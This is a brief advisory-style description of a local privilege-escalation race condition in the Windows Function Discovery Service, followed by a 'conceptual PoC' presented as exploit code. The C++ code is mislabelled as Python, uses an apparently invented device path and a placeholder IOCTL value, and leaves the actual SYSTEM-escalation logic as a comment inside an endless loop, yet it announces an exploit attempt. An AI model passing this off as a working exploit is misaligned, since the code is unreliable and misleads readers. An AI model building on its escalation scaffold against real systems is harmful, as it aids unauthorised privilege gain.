Concurrent execution using shared resource with improper synchronization ('race condition') in Function Discovery Service (fdwsd.dll) allows an authorized attacker to elevate privileges locally.
The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <thread>
#include <iostream>
// Conceptual PoC for CVE-2026-32093 Race Condition
// Target: fdwsd.dll (Function Discovery Service)
void malicious_thread() {
// Thread 1: Simulate the 'Check' phase interaction
// Interacting with the Function Discovery API to trigger the vulnerable path
HANDLE hService = CreateFile(L"\\\\.\\FDS_Device", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hService == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to open device." << std::endl;
return;
}
// Perform operations that lead to the shared resource access
DWORD bytesReturned;
DeviceIoControl(hService, 0x12345678, NULL, 0, NULL, 0, &bytesReturned, NULL);
CloseHandle(hService);
}
void race_thread() {
// Thread 2: Simulate the 'Use' phase race
// Attempt to modify the shared resource during the race window
while (true) {
// Attempt to exploit the unsynchronized access
// This might involve heap spraying, file linking, or handle duplication
Sleep(1); // Adjust timing to hit the race window
// Exploitation logic to gain SYSTEM privileges would go here
// e.g. creating a symbolic link or modifying a file pointer
}
}
int main() {
std::cout << "Starting PoC for CVE-2026-32093..." << std::endl;
// Create threads to trigger the race condition
std::thread t1(malicious_thread);
std::thread t2(race_thread);
t1.join();
t2.join();
std::cout << "Exploit attempt finished." << std::endl;
return 0;
}